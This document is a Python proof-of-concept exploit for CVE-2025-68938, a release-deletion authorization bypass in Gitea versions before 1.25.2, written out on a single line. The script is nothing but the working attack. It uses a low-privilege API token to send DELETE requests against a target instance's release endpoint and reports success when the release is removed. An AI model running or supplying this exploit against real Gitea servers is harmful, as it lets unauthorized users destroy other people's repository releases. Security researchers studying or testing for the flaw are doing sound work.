CVE-2025-68938

import requests import json # CVE-2025-68938 PoC - Gitea Release Deletion Authorization Bypass # This PoC demonstrates the authorization flaw in Gitea < 1.25.2 TARGET_URL = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your_low_privilege_access_token" TARGET_REPO = "owner/repo_name" TARGET_RELEASE_ID = 123 def delete_release(): """ Attempt to delete a release without proper authorization This exploits the authorization mishandling in Gitea < 1.25.2 """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json", "Accept": "application/json" } # API endpoint for deleting releases url = f"{TARGET_URL}/api/v1/repos/{TARGET_REPO}/releases/{TARGET_RELEASE_ID}" try: response = requests.delete(url, headers=headers, timeout=10) if response.status_code == 204: print("[+] SUCCESS: Release deleted without proper authorization!") print(f"[+] Deleted release ID: {TARGET_RELEASE_ID} from {TARGET_REPO}") return True elif response.status_code == 403: print("[-] FAILED: Access forbidden - target may be patched") return False elif response.status_code == 404: print("[-] FAILED: Release not found") return False else: print(f"[-] Response: {response.status_code}") print(f"[-] Body: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-68938 - Gitea Release Deletion Authorization Bypass") print("=" * 60) delete_release()

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